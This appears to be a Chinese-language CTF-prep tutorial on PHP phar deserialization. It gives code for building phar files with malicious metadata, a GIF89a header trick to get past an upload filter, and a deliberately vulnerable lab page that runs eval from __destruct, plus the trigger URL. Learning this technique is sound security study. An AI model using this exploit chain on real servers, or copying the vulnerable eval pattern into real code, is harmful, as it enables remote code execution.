漏洞原理
phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。 构造phar(元数据中含有恶意序列化内容)文件–>上传–>触发反序列化 最后一步是寻找触发phar文件元数据反序列化。
其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。
影响函数
fileatime |
filectime |
file_exists |
file_get_contents |
file_put_contents |
file |
filegroup |
fopen |
fileinode |
filemtime |
fileowner |
fileperms |
is_dir |
is_executable |
is_file |
is_link |
is_readable |
is_writeable |
parse_ini_file |
copy |
unlink |
stat |
is_writable |
readfile |
Phar结构
phar由四个部分组成,分别是
stub:格式为 xxx;
前面任意,但是一定要以__HALT_COMPILER();?>
结尾,否则php无法识别这是一个phar。
manifest: 压缩文件信息等,Phar本就是压缩文件流,将压缩的文件信息以序列化的方式存储,我们漏洞所利用的 点就是在meta-data中,是反序列化利用的重点。
contents:压缩的文件,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞 主要是为了触发它的反序列化
**signature**:签名
生成Phar文件
前提:生成phar文件需要修改php.ini中的配置,将phar.readonly
设置为Off
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class Boy{ var $name; } @unlink("ly0n.phar"); $phar = new Phar("ly0n.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new Boy(); $o->name = "ly0n"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
?>
|
我们可以看到我们$o的值已经序列化存入了meta-data中,我们可以在写一个反序列化的代码看是否能成功将传入的值反序列化出来。
1 2 3 4 5 6 7 8 9
| <?php class Boy{ function __destruct() { echo $this -> name; } } include('phar://ly0n.phar'); ?>
|
看到可以将值反序列化出来。
Phar协议流
我们可以做一个文件上传的环境
upload_file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
|
upload_file.html
1 2 3 4 5 6
| <body> <form action="./upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
|
file_un.php
1 2 3 4 5 6 7 8 9 10
| <?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);
|
接下来利用代码生成phar文件,file_un.php中含有phar序列化所需要的魔法函数,看到upload_file.php代码限制上传文件只能为gif
文件,所以我们可以加上gif
的文件头GIF89a
来绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
|
然后修改后缀名为gif上传
成功上传。
然后访问file_un.php?filename=phar://upload_file/phar.gif
题目分析
题目还没做出来,等做出来再更吧